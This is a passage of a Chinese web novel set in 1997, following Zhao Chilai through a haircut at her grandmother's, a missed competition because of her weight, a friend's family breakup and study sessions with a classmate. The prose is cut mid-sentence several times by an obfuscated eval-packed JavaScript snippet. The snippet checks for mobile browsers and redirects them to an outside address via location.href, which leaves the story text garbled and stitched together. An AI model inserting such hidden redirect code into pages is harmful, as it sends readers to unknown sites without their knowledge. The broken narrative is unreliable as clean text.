“那还长挺快,天气热不好留这么长哦,你拿剪刀来,阿嬷给你修一修。”她安排得明明白白。 严英理发店很快开张。 罩衣剪刀梳子水盆毛巾刷子吹风一字排开,陈抑休老老实实坐在凳子上。 “抬头。” 他立刻抬头。 赵迟来和小午抱着西瓜坐在小马扎上看热闹。 阿嬷的手很稳。 咔嚓几下头发就一绺一绺掉下来。赵迟来捡起一撮看了看,除了有点干枯,整体其实还算细腻。 她眼含羡慕,狠狠咬了一口。 “阿嬷,能不能让我也剪剪?” “你懂什么?头发能乱剪吗?别把人脑袋削坏了。” 她撇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿嬷也是一个劲儿点头。 “好靓好靓。” “对啊对啊!随便走在哪条街上都会有人回头的那种靓仔哦!一休哥,你以后就留这么长,不要再让头发疯长了,这样真的很好看!” “是的是的!” 祖孙三个轮流上阵,变着花样大夸特夸,围得陈抑休都透不过气,脖子憋到通红。 “好,我知道了……” 他看着阿嬷,“谢谢阿嬷,我很喜欢。” “不用客气!以后要剪随时来找阿嬷!”阿嬷又继续夸,直到有人来拿药才打住。 赵迟来还一脸稀奇。 她抓过陈抑休的脸扯了扯,啧啧感叹:“好神奇,明明是同一张脸,为什么总感觉焕然一新了呢?” 陈抑休直直回视,落在她脸上的视线也带着打量。一开始只是静静看,但没一会儿就成了努力看,最后仿佛受到不可抗力牵引,缓缓朝她的脸靠过来。 “嗯?” 赵迟来努力克制自己的斗鸡眼,“你看什么?” “你的脸。”他坦坦荡荡。 “……我知道。我是说,看我的脸做什么?” 沉默了一会儿,他退回去一些:“我想记住你的脸,但实在看不清。” “慢慢。” “你能不能告诉我,你长什么样?” 他问得很认真,好像在什么需要严肃对待的公开场合一样。 25. 1997年夏 25 赵迟来愣住了。 这个问题叫她怎么回答? “不就……一个鼻子两个眼睛一张嘴?正常人啊。” 陈抑休闻言有些泄气。 “是我难为你了,认不清你是我不够努力,只要多看多练,总有一天我能记住的。” “对对对,就跟做题一样!” 她不愿意揭他的短处,转移话题,“哎你刚刚是不是叫我慢慢?” “嗯,不可以吗?”他点头。 “没有没有,挺好的,你爱叫就叫。”又不是什么大事,就是有点巧而已。 拿药的人离开,阿嬷看时间还早,准备去田里干活。 赵迟来自告奋勇,陈抑休也立刻起身,连小午也带上帽子跟过来,继续收尾。 事情并不多。 临近中午阿嬷先回去做饭,赵迟来拖着一捆甘蔗往岸上走,忽然听见小午惊呼了一声。 “哥哥!流血了!” “怎么了小午?你流血了?”她放下甘蔗就跑过来。 “不是我,是哥哥!”小午指着陈抑休的小腿。 地上躺着沾了残血的叶片,他的小腿侧被割出一条指长的伤口,周围已经有点模糊。 “没事,一点小伤。” 陈抑休不以为意,抱起甘蔗就要继续往回拖。 “都流血了怎么会没事?你快放下!”赵迟来恨铁不成钢,清空他的手仔细查看他的伤口,然后转头把背丢给他,“上来吧,我先带你回去,家里有药。” 或许因为阿嬷在,她倒是比上次黎明律伤腿镇定多了。 陈抑休不仅没上来,还退了一步:“不用,等会儿它自己就好了。” 赵迟来转头沉声:“我说上来就上来,你还怕我背不起你吗?” “不是,不是……” “不是那就听我的!” 说罢,她拉过他的胳膊就搭自己肩上,不由分说抬起来就走。 “小午你记得带水杯。” “哦!” 小午蹬蹬蹬跑过去带上,又蹬蹬蹬跑回去跟上。 路上碰见阿廖叔,他关心问了一句怎么回事。 “割伤了,没什么大事。”赵迟来嘴上说脚下却没停。 “那也不能马虎,要不要我帮忙?” “不用不用!再来两个我都没问题!”她脚下飞快,看起来确实没什么问题。 有问题的是陈抑休。 本来就没太伸直的上半身在遇上人之后埋得更低了,他收回手,显而易见的难为情。 “一休哥你抓紧我啊,万一掉下去怎么办?”赵迟来感觉到了。 “哦。”他依言伸手,犹豫两下轻轻落在她肩上。 夏天衣服轻薄,粘湿的热气顺着掌心一下子传入大脑皮层,他似乎都能听见血液在赵迟来血管里卖力奔腾的声音。 除此之外,还有……一阵凹凸不平。 “慢慢,这是什么?”他无意其他,下意识蹭了蹭赵迟来肩上那处异物。 “这个啊?还不是拜你妹所赐,以前过年她老往你身上扔鞭炮不记得了?”她躲了躲,“好了别抠了痒死了!” “……对不起。”他沉默片刻,想起那阵回忆。 “这有什么好对不起的?早就不痛了。” “我说这个疤,对不起。” “又不是你干的,再说我也揍回去了,她脸上现在还有疤呢!”赵迟来哼哼两声,有点得意,“这种小疤我身上多的是,你忘了,从小我爸妈可没少打我!” “那不一样。” 赵庆国是教她拳法,梁惠那是爱的具象化。 “我觉得都一样。”她不以为意。 陈抑休没再说什么。 直到处理完伤口,她在他腿上打了个蝴蝶结,得意洋洋:“看看多对称,多好看!” “是吗?”他含笑低头,对上那个蝴蝶结的第一眼瞳孔骤缩,“慢慢,这个蝴蝶结是只有你会打吗?” “不是啊,很常见的打法很多人都会,怎么了?” 他突然抬头,凝眸问道:“两年前那个除夕,晚上十点到十一点,你有来过我的房间吗?” 赵迟来似乎被他吓到了,眼神跳了跳,疑惑摇头:“没有啊,你怎么会这么问?” “真的不是你?” “什么……什么不是我啊?我那会儿在张鑫家里看春晚呢,你不信可以问他。” 良久,他收回视线,似乎信了。 “哦,那可能……是巧合。” “什么巧合,莫名奇怪的。”赵迟来追问。 “没事,我想多了。”他已经恢复如常,笑着摇头。 赵迟来哦了一声。 说了句让他好好休息,狐疑离开。 她一走,陈抑休脸上的笑意就凝固了,垂眸看着地面出神。 赵迟来脸上的狐疑也消失了。 她一出来就大吸一口气,小声连说了几句“好险”。 阿嬷看她走得鬼鬼祟祟,问了句怎么回事。 “好险,差点被鬼缠上了。”她神色夸张。 “你说阿休?”阿嬷一针见血。 “嘘嘘!不要乱讲啊阿嬷,被他听见我就完蛋了!”她紧张兮兮捂住阿嬷的嘴。 阿嬷挣开,一点都不信:“尽是自己吓自己,你就是打他一顿他也不会说什么。” “哦,你又看上他做你孙子了?”她扁嘴。 “我说他好脾气啊!尤其对你好脾气啊!” “呵呵,因为只有我会找他付费补习。” “因为只有他会陪你胡闹。”阿嬷纠正。 “我才没有胡闹咧!” “是吗?”阿嬷停下手认真回忆,“那我怎么记得,有一次你说要上天摘月亮,其他人要么沉默要么问你怎么去,阿休直接把梯子搬过来,问你「迟来,我们什么时候出发?」,你想想,是不是有这回事?” 赵迟来隐约真的想起来有这回事,心里发虚嘴上还硬着:“才,才没有这回事。” 阿嬷哼了一声:“人这一辈子啊,能有一个即便不懂也愿意陪你去做坏事,去胡闹的朋友,真的很难得。有阿休这样的朋友,你就偷着乐吧,以后你就知道了。” 赵迟来这倒是没有否认。 但她想了想,补充:“不对阿嬷,这样的朋友,我有4个!” 阿嬷点了点她的额头:“那算你命好哦!” 她觉得自己确实命好。 这一点无从辩驳。 外面响起“啪嗒”一声。 有什么东西摔倒的声音。 赵迟来第一时间出来,只看见躺在地上的凳子,和一脸茫然的小午。 “怎么了这是?” “哥哥,突然跑进去了。”小午指了指屋里,一脸茫然。 “我看看。” 陈抑休确实在房里,正坐在书桌前奋笔疾书,看起来颇有点像武侠剧里神功大成的样子。 她凑上前瞄了一眼,纸上全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她随意调台,看到有一个地方台正在播放葫芦娃,立刻停下。边看边给小午说剧情。 一连看了几集,快到大结局却不播了。 一看屏幕,停在待点播目录。 最底下写着一行电视台的付费点播电话。 “哎呀!这世上怎么会有付费点播这种可恶的东西!”她哀叹一声,“想看点免费的我有什么错!” 来这么些天,她头一次生出想回去的念头,对家里信号更好的电视十分想念。 巧的是,第二天一早梁惠就打电话过来催她回去,说暑假都快过完了,她得收收心早点回来。赵庆国也在旁边催促,说马上就到比赛的日子,让她最好今天就回来准备。 看来是逃不过了。 她很舍不得阿嬷,抱着阿嬷的肚子半天不肯说话,还是阿嬷回复说等一等,比赛前一天再放她回去。 她一听,瞬间就高兴多了。 虽然也只多出一天,但能晚些走就是很开心。 也许是分别的时间近在眼前,阿嬷对她的耐心突然就回到她刚回来那天,拼了命的给她做好吃的。 赵迟来虽然怀疑自己长胖了不少,但为了不扫她的兴,还是来者不拒,最后疯狂了一天。 哦不,两天。 因为第二天她睡过头,没赶上回花城的班车,只能延后赶比赛当天的那一趟回去。 好在她的赛段安排在半下午,赶回去直奔体育馆问题也不大。 26. 1997年夏 26 刚出车站,赵迟来就看见个熟人。 “慢慢!慢慢!” 文思泉举着一根写着旗开得胜的小红旗飞速招手。 “思泉?你怎么来了?” “我来给你加油啊!一起去体育馆比赛,你爸妈已经在那儿等了。”她快跑过来帮她拖拉行李箱,没拉动,又去抱小午。 赵迟来拉着箱子过来,见她正一脸狐疑的看着自己,疑惑:“怎么了?” 文思泉指了指她的脸:“慢慢,你是不是……胖了一些?” “好像是,摸起来肉好像多了点。” 文思泉欲言又止,赵迟来打断:“算了先不说这个,比赛要紧。” “你不是回上海了吗?还有十天才开学呢,怎么就回来了?”她想往城内公交站走,文思泉却指了指外面。 “我打车过来的,你跟我一起走。”她三言两语解释了回上海的经历,又说答应她的月饼带回来了,晚上回去就可以吃到。 “哇——我还以为你赶不上看我拿冠军,伤心了好久!”赵迟来哀叫感动,一把抱住她圈在怀里狠狠亲了两口。 “呀!你早上吃蒜了?”她赶紧呸了两声。 “嘿嘿……”赵迟来捂嘴撤退,留意到她眼睛周围有一圈不正常的暗红,问,“你眼睛怎么了?怎么又红又肿?” “咳,”她把小午换了个边,微微垂眸,“没事,就最近挺干的。” “确实挺干的,回去的时候咱们去一趟药店,你自己也要注意用眼习惯和时间……”她马上开启叮嘱模式。 文思泉嗯嗯应了两声,突然想起什么:“对了,我给你把战袍也带过来了!等会儿上车了换上。” “啊?车上……不好换吧?” 赵迟来想起之前那些仙女裙,脑子嗡嗡作响。 “完全没问题!这次和仙女没关系!是王子啊!”她异常自信。 嗯。 葫芦娃怎么不算王子呢? 她穿着葫芦六娃同款蓝色假领背心,手里还拿着一条大裤衩,神色异常平静。 文思泉则拿着葫芦叶腰带在她身后吭哧吭哧比划。半晌她长吸一口气,放弃了:“应该是我量短了,做出来不合身,其他的就算了,马甲还是可以穿的!” “绝不是你胖了!” 最后她还义正严辞补充了一句。 有时候还挺想死的。 但回头一想,忍一忍就过去了,又觉得不是不能活。 赵迟来握拳:“谢谢你文老板,我一定会好好比的!” “不好意思,你的体重超标了,无法参加本场比赛。” 体育馆外,签到处人山人海。 赵庆国拿着13号的贴牌,一脸不可置信:“不可能啊!我们前些天还称过了,标准的55公斤!一斤不多的!” 教练员抬手指向他身后的赵迟来,无奈又无语:“你自己看看,就她这个身高,这个双下巴,65公斤都勉强。” 赵庆国愤愤回头,仔仔细细打量,看得锥心刺骨:“让你控制体重控制体重,你倒是管住嘴啊!” 赵迟来下意识就想反驳。 “叔叔你先消消气,慢慢也不想的。”文思泉拉了拉她的手,示意她不要顶嘴。 “现在说这些也没用,看看到底有多重,超了能不能重新报名。”不涉及考试成绩的时候,梁惠还是很好说话的。 赵庆国含恨带赵迟来上称。 指针噌的一下越过65,晃晃悠悠在66-67之间挣扎,赵迟来猛吸了口气,指针终于在靠近66的一边停下。 超了报名的等级整整11公斤有余! 赵庆国瞄了一眼,顿时捂住胸口:“完了完了完了……全完了!完了啊爸——我对不起你啊爸爸!” 他几乎站不住脚,扶着墙就开始嚎啕大哭。 赵迟来也挺无助。 她求助看向梁惠,又看看文思泉。 “好了!你哭有什么用?已经超重那就是进不了55公斤赛级,但可以问问能不能调剂一下呀。”梁惠被他喊得头痛,耐着性子安抚。 文思泉转头就去签到台打听。 赵迟来不敢抬头。 她也没想到事情会发现到现在这样,这谁能想到啊!她不过是回了趟阿嬷家,怎么就连初赛都进不了? 尽管不是故意的,但也不敢直视赵庆国。 在梁惠的安抚下,赵庆国强打起精神。 “你说的对,我去问问其他量级还有没有名额……”他当了这些年教练,也认识几个赛事裁判,当即找人联络。 没多久还真找到一个路子—— 65公斤级的名额因为有人临时退赛正好缺了一个,她要是合适可以给改过去! “快!慢慢!快把能脱的鞋袜衣服都脱了,咱只要能报进去,后面一切都好说!爸爸相信你一定能进决赛的!”赵庆国又看到了希望。 赵迟来擦干净眼泪,配合脱鞋袜,身上的衣服能脱的也都脱了。指针终于回到66以内,但总也不能进入65。 赵庆国拍了拍脑袋,突然想起来:“上厕所!慢慢你去上个厕所!能拉的咱都拉了,再回来试试!” 赵迟来落地就排过尿了,现在也没有便意,对他说的操作感觉有点为难。但赵庆国俨然抓住最后一根救命稻草的样子,看不到指针回到65绝不甘心,不由分说拉住她就往洗手间里塞。 她今天要是不拉点什么东西出来,看样子不会罢休。 梁惠拍了拍她的手,也说让她加油,文思泉没说什么,但眼巴巴的期待显然也是一个意思。 她蹲了下来,脑子里无数次反问自己为什么要嘴贱?以至于比赛还没开始,就得先和自己的直肠来一场酣畅淋漓的拉锯赛。 这太痛苦了。 她简直不想再来第二次。 好在多少排出来一些。 赵庆国得知这个消息,立刻喜上眉梢拉她返回签到处。 指针离66又远了一些。 但离65依旧还有点距离。 “哎……”赵庆国叹了口气,看着她一脸希冀,“还能拉点吗慢慢?” 她抠着手,有点为难。 旁边的教练员看不下去:“回家吧孩子,回家吧。还有十分钟咱们就要走了。” “我们可以的!再稍微等会儿!”赵庆国完全不想放弃,让梁惠带她再去一趟洗手间。 赵迟来一声不吭跟着走。 却在进洗手间之前突然像被谁踹了一脚,倒坐在地埋头大哭。 “对不起!对不起呜呜……我没想到会,会超这么多呜呜呜……我对不起爸爸,对不起阿公!又让你们失望了……”她又自责又后悔,一时间泣不成声。 梁惠没想到她会突然崩溃,看了也心疼,陪在她身边安抚:“算了算了,咱不比了,你爸要是有火有本事冲我来!多大点事儿,别把自己气坏了噢……” 文思泉也安慰道:“是啊慢慢,这次不行咱们就下次再来,多准备一年把握还大些,搞不好还能一举拿下冠军呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323735|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “……”梁惠幽幽看了她一眼,“明年就超龄了,成年组更加没戏。” “啊?对不起慢慢我不是故意……” “哇——”赵迟来哭得更伤心了。 事已至此,先回家吧。 错过比赛已经成了既定事实,再勉强也没什么意义。但谁都没有胃口吃饭。 赵庆国端起饭碗又放下,眼底一片红丝。 “我出去走走。” 他一句责备的话也没说,可正是如此,赵迟来才觉得更加不好过。 文思泉见她又要流眼泪,有意宽慰,外头忽然传来何温婉的声音—— “思泉!思泉在吗?” “在!”她立刻起身。 “你回来。” 赵迟来擦了擦眼睛,何温婉已经转身离开,脸色一片苍白隐约看起来精神不太好。 放在平时她一定不会多想,是看文思泉也脸色欠佳,才心生狐疑。她又想起下车时候文思泉眼周的异样,问梁惠:“妈,思泉她们怎么了?” 梁惠夹菜的手微微凝滞,斟酌道:“思泉她爸回来了。” 赵迟来没有听懂:“所以呢?” 梁惠却不说话了。 没过两天赵迟来就知道,梁惠没说完的话是思泉她爸妈在闹离婚—— 她爸似乎在外面又娶了个老婆,前不久被她妈当场抓住,听说对方还给生了个儿子。 消息的准确性还有待考证,但这些天确实没怎么看见文思泉,就算看见她也总是双眼红肿,一言不发。 赵迟来有意安慰她,可带着这些道听途说的东西跑过去多少有点不礼貌,所以也只能在她需要的时候陪她说说话做做手工,不敢主动开口。 更何况,她自己也好不到哪儿去。 赵庆国这些天的情绪一直都很低落,虽然事也照做,饭也照吃,但话却少了很多。她总是撞见他一个人坐在随便什么地方发呆,甚至有一次还在抽烟。 她当作不知道不问也不说,每次都匆匆路过。回到房间,心里却仿佛被人塞了个开水壶,惴惴不安稳。 但发生的已经发生,她除了内疚,什么也做不了。 很快,暑假就在令人窒息的酷热和压抑中结束。 开学前一晚,赵迟来撕下了墙上已经有点褪色的《射雕英雄传》,张智霖和朱茵的单人海报积了不少灰。 那几处留白也没有空多久,就被黄日华和李若彤重新覆盖。她纠结了小半天,还是没有换下那张手持金牌的李小双。 她想,她18岁前的最后一个暑假总得留下点什么不会褪色的东西。 而荣誉,似乎才能永不褪色。 “跟你说不清楚!” “离婚是不可能离婚的!你想都不要想!” 文家的战火也从水下浮出水面,她坐在床边,听着外面声嘶力竭的吵闹和嗡嗡作响的劝导,脑子里一片混沌。 她第一次发现,原来大人的世界真的有很多求而不得。 日思夜想要追求的,总会因为意外遗憾收场。费尽心思要守护的,到头来只是一层空壳。 就像段誉,明明不喜欢练武最后却成了绝世高手,鸠摩智一生都在攀爬武学巅峰,最后却武功尽失。 慕容复一心想要光复大燕,谁成想会成了个疯子?乔峰对契丹人深恶痛绝,一生都在为大宋而战,到头来大宋却连他一处立锥之地都没有。 可赵迟来又想。 在这个即将落幕的夏天,至少不只有她一个人无疾而终。 27. 1997年秋 27 已经干砸了一件事,另一件事就不能再干砸了。 开学后,赵迟来就全心全意投入到高三第一学期的系统学习中。 她不再沉迷电视,笔盒里只装了一支笔,课表在葫芦娃全家福的旁边工工整整。 上学的晚自习就自己刷题,下学的一整天要么在图书馆,要么在补习班。梁惠见了十分欣慰,连带着把张鑫也带得压力山大。 “搞到两张电影票,去不去?”课间张鑫转头。 新学期,他坐到了赵迟来前面,而文思泉则坐去第一排,离得稍微远些。 “不去。”她继续背单词。 “啧,你最近真是转性了,前几天我妈夸你我都不信,怎么,你想考清北啊?” “嗯。”她淡淡应了一声。 “……”张鑫愣了,神色纠结,“不是,你来真的?” “你不知道吗?这是我妈从我出生起就开始计划的使命,为此不惜制定了一本长达98页的成长计划,现在应该到第四个五年计划了。” “……牛,”他砸吧了两下,“有你妈这份心,你干什么都会成功的。” 他转了回去。 赵迟来端起单词本,无意扫过他后脑勺,隐约看见他校服领子下面压了一角白色。 “你脖子后面怎么回事?”她抬笔戳了戳。 “没事,膏药。”他立刻把领子拉上去,吸了口气也开始大声念书。 明显不是膏药,更像是纱布之类的东西。 但她也没有多问,只当他跟以前一样死要面子。 晚上放学回家的时候,张鑫跳起来就走。 其他人却慢吞吞的,聊着和平时不太一样的话题。 “哎,你用了newsmail吗?” “用了用了好好玩!” “我用它联络了在北京的表姐,她居然收到了!就是咱们方言她看不太懂,要什么时候出个普通话版的就好了!” “这个东西你们知道是谁做的吗?” “不太清楚,只知道一开始是鸿志班传出来的……” 他们似乎在说什么有趣的东西。 赵迟来好奇问了一嘴,得知学校最近有很多人在用一款叫newsmail的软件,他们管那个叫邮箱,可以用来当作在互联网上冲浪的地址。 她哦了一声,兴趣不大,只是碎碎念。 “还真有人搞了个房间号出来……” 回到家,只有赵庆国一个人在。 她最近都有点避着他,进门只说了句“我回来了”就径直回房。 但今天赵庆国并不如前段时间沉默寡言,他热情迎了上来,仿佛回到暑假之前:“慢慢!你回来得正好,你猜我听说了个什么好消息?” “嗯?什么?”她茫然。 赵庆国拿出一张粉纸,看起来像什么通知,激情展示给她看:“政府出通知了,为了弘扬传统文化,咱们截拳锦标赛的年龄推到了20!你看……” 限制年龄那一栏确实写着20以下。 “也就是说……”赵迟来不敢置信。 “也就是说咱们可以接着比了!”赵庆国无比激动,“我们慢慢还真是好运气,赶上了好时候!” “真的吗!”赵迟来也很激动,她一把抓住赵庆国的手,“爸爸!我这次一定会好好努力,好好管住自己的嘴,一定不会再错过了!” “好好好!” 赵庆国高兴得走来走去,看起来又重新拾起了对赵迟来的父爱,“这次就算你管不住,我也会给你管住。我想想……想想从哪里开始……” 赵迟来也感觉这些天横在心里的阴霾一扫而空,啪的丢下书包就出来练拳,浑身都是力气。 “那就从减肥开始!” 赵庆国确定方向,很快出来,“慢慢,爸爸今天晚上好好规划一下,争取明天正式开始实行!”说完就砰砰砰跑回房间。 “……?” 她没太听懂。 但第二天她就懂了。 “这是接下来三个月咱家的菜单!”赵庆国拍下一张密密麻麻的纸,“这是接下来三个月的作息时间表!”他又拍下一张。 “这些是这次所有参赛选手的对战信息表!每个礼拜研究一张!赵迟来,有没有信心!”他最后拍下一整沓。 赵迟来咽下吃到一半的红烧肉,顶着一嘴的油花问:“爸,这都是……都是你一晚上弄的?” 赵庆国只是问:“有没有信心!” 她没什么底气的点点头。 “很好!事不宜迟,就从今天开始实施!”他说着一把抢过她手里的碗筷,把红烧肉全都挑出去,连沾了汤汁的米也没放过,再夹进来一筷子青菜,还给她,“吃吧,争取三个月之内瘦回55公斤!” 梁惠扒拉起了他做的表:“比赛就比赛,非要减肥做什么?” “要减的!我仔细研究了所有对手,慢慢在65公斤赛段的夺冠胜算远远小于55,去年那个17号你们还记得吗?” “记得,余大头。”打掉她龋齿的那个。 “她今年就在65,”赵庆国一脸庆幸,“还好咱们今年错过了,要不然对上又是一场苦战!” “可是……”赵迟来并不觉得自己还能输给她第二次。 “等会儿,”梁惠打断,指着作息表不太满意,“你早上也练拳,晚上也练拳,甚至课间午休也不放过?慢慢还哪儿来的时间写作业?你太过分了吧赵庆国?” “我这都是碎片时间,加起来其实不长的……” “都超过3个小时了,你还要怎么长?” “那你说,你说怎么改嘛。” “这样,这样……” “不行!” 两人再次因为利益分配起了冲突。 而处于骂战中心的当事人神色异常平静,她扒了一口青菜,什么也没说。 到周五,学校举行了一次摸底小考,赵迟来进步很大。 梁惠看着却不大满意:“这离清北还有十五个花大的差距啊。”于是转头给赵迟来报了几个针对性训练班,继续和赵庆国拉扯,寸步不让。 又一个周五,这场拉锯战终于迎来结束。 赵庆国往家里搬回不少体育器材,挨个儿和赵迟来介绍。 “这是跳绳,以后每天早上起床和睡觉前各跳200个,热一下身。” “这是杠铃,早上打完拳得提10分钟延伸一下耐力。” “这是羽毛球,以后每个周末晚上吃完饭我都和你一起去隔壁球馆对练一小时。” “这是……” 看起来很多,确实也挺多的。 好在梁惠并没有再给她塞太多额外的课业,看起来应该是退了一步。赵迟来得到的解释是:“你爸说了,让你先把体重减下来,年底之前你以减肥为重。” 看样子只是暂时。 但赵迟来还是挺开心的,毕竟比起学习,至少体育锻炼要有意思多了。 这天从补习班回来,她照常去找陈抑休抄作业,到门口却被告知他们全班现在都改成了封闭式管理,没有行政特批的假条,任何人都没办法进出。 她想到之前在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331903|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿嬷家他熬得昏天黑地的那次,想来是项目进展到紧要关头,遂打消了打扰他的想法,回头找文思泉。 文思泉倒是没有拒绝,但没多久她爸回来了一趟,家里频频有叮叮哐哐的杂声响起。文思泉一开始还能忍住,等她爸一走,就憋不住趴在桌上无声抽泣。 赵迟来陪她待了一会儿,谁都无法集中注意力,只能找个借口告辞。 然后她又去后面找张鑫,结果他压根不在家。章阿兰还很惊讶:“他不是说去找你了吗?我以为你们一起在图书馆呢!” “哦,对对。” 她瞬间反应过来,“是跟我一起呢,刚回来拿了点草稿纸,这就忘了。我这个记性……阿姨我先过去了。” 她下意识往回走,章阿兰提醒:“图书馆不是往这边吗?” 赵迟来转头就往大树茶馆的方向走。 走到路口回头看了一眼,章阿兰果然一脸狐疑地站在门口,还没有进去。 “这家伙!又不知道在哪儿鬼混!”她快步往前,“你最好不要让我抓住,否则……啊!” 刚收回视线,和迎面来的一个人影撞到一起,她赶紧道歉:“不好意思不好意思……” “你这着急忙慌的,要去哪儿?”声音很熟悉。 “黎明律!”她眼神一亮,“你今天怎么这么早就回来了?” 他眼神微闪,垂眸看向她怀里的练习册:“最近都挺早啊,你现在去大清北?” “不是,我刚回来,其实回来也有好一会儿了……还有些题不是很明白。”她打量着他的神色,琢磨如果他心情好就试试找他,如果一般那就算了。 “哦,他们最近应该都帮不了你。”他一副什么都知道的样子,猜测,“所以你是准备来找我吗?” “……”赵迟来总觉得他眼里藏了两分笑意,但他脸上实在又没什么表情,“啊……对啊!你现在有空吗?” 他没有回答这个问题。 直接抽走她手里的所有册子,抬脚往前:“下次直接来找我。” “真的吗?我最近作业很多哦!不会打扰你学习吗?” “我最近没在学习。” “啊?那你在干什么……” 两人边说边聊,进到他书房才回到正事。 赵迟来既然敢跟他回来,就已经做好了被他指着脑袋骂蠢的觉悟。 但不知道是她进步实在太大了,还是黎明律脾气变好了,整个过程竟然没有发生任何火并事件,只是偶尔有几次相顾无言。 但他起身去倒杯水,也就好了,继续往下说。 赵迟来看他这么好说话,胆子也大了不少,哪里不明白就直说自己不明白,并不像往常还要顶嘴两句。 除非她确实认为自己没有错! 比如现在,她执着认为fewer和less适用的名词类型和他说的相反。 “比如我开车去一个公园,没有地方停车,希望车子少一点,是不是就得说Iwishtherewerelesscars?” “反了,应该用fewer。” “为什么?” “fewer可数less不可数我刚刚不是说过了吗?” “可是……” 黎阿公哼着曲从外面回来,隐约听见书房里有人在争吵,好奇探头。 书房门半掩,他一眼看见书桌前摆着一正一斜两张椅子。正的那一把专心点着自己手下的东西,斜的那一把则横臂搭在正的那把椅背,并不低头,而是平视前方目光灼灼。 他微微一顿,伸手把门给掩了。 28. 1997年秋 28 “哦~原来是这样!” 赵迟来停笔,把新改的答案递给黎明律看,“你看这回是不是对了?” 她扭头,黎明律的视线已经落在她手指的地方,只是眼睛眨得有点快,似乎因为一直盯着同一个地方累得不轻。 “嗯,对了。”他点头,“今天脑子转挺快。” 赵迟来按下到嘴的子弹,看向墙上的壁钟:“时间不早了,要不今天就到这儿?不能打扰你睡觉。” 黎明律退开了一些:“我其实……睡的还挺晚的。” 赵迟来继续收:“那我也得回去了,还得练拳蛙跳俯卧撑和跳绳呢!” “这么忙?”他忍笑。 “你要是来我们家做儿子也比我好不到哪儿去,少幸灾乐祸!”她瞪了他一眼,“走了,今天谢谢你了。” “好说。” “我明天还来!” “嗯。” 旁边的电脑开着。 她晃眼扫过去,看见一行很大的logo:newsmail。 赵迟来想起来:“哎?你也玩这个什么邮箱吗?” 黎明律转头顺手把页面给关了:“没怎么玩,做完也感觉就这么回事。” “什么意思,这个东西难道就是你做的吗!”赵迟来听出来他的言下之意。 “也不是我一个,大家一起做得好玩而已。”他关闭电脑又开始整理书桌,看起来很忙的样子。 “那也很厉害啊!我都听说了,这里发的消息北京都可以收到!”赵迟来由衷夸赞,其实还有点羡慕。 “这都不算什么,现在网络发展迅猛以后还能更远也能更快。”他指了指屏幕,“你想注册一个吗?” 赵迟来陷入犹豫。 既然是黎明律他们自己做的,她还是有点兴趣体验一下的,但赵庆国这会儿估计已经掐表等着了,想了想她还是摇头。 “今天不了,我明天早点过来!” 黎明律抽空说了声好。 关门声响起,仿佛按下了某个暂停开关,原本正在四处忙碌的手忽然就停在原地。 片刻,也或许是很久。 他开始重新整理书柜,将那些近期可能会用到的笔记都搬下来。 如此高强度的体能精神训练,赵迟来最近的碎片时间都昏昏欲睡。明明晚上睡得跟猪一样死,一旦松懈下来还是会睁不开眼。 不仅困,她还很饿。 赵庆国最近严格控制她的脂肪摄入,虽然蛋奶是不缺的,但久不闻油香,她总觉得饭吃了跟没吃一样,时不时就觉得肚子饿。 “三金哥,晚上你陪我去三岔口弄点吃的吧?”晚自习的时候她实在忍不住。 “你想死我还想活呢。”他头都没回,“你爸早就给我下了死命令,不准偷偷带你吃肉。” “啊——”她仰天长啸,“好难受好难受,我感觉快饿死了!” “你自己偷偷去不就行了?” “他连你都叮嘱了,你觉得还会给我留零花钱吗!” “那你看看其他人敢不敢接济你,我反正不敢。”他把书塞进课桌里,起身就走。 “还没到点呢,你就早退?” “谁说我早退?上厕所不行吗?”他做了个闭嘴的手势,揣着兜就走了。 “……”赵迟来眯眼。她现在很确定,这家伙一定有事儿。 看了眼时间,离下学也没几分钟,犹豫两秒放下笔也跟着偷偷溜出去。 张鑫溜得很快,还没走正门。 鬼鬼祟祟走到一处院墙死角,踩着墙边一个废弃垃圾桶,挣扎两下翻出去。赵迟来打量了两眼垃圾桶上的臭积水,退开两步踩着墙翻身坐上墙头。 她一路小心翼翼跟着。 尾随张鑫进了一条黑灯瞎火的小巷,和几个社会青年勾肩搭背继续走。他们递给张鑫几根烟,他推拒了两下没有成功,接过其中一根塞进嘴里。 然后一路说说笑笑,被门童恭恭敬敬迎进一家歌舞厅。 赵迟来看得拳头都硬了。 没想到他这段时间都是和这些街溜子混在一起,还拿她做幌子! 她当即就想把那几个人揍一顿给他拎出来,但想了想还是没有贸然冲进去。万一事情闹大,捅到张叔那里,那张鑫估计也完蛋了。 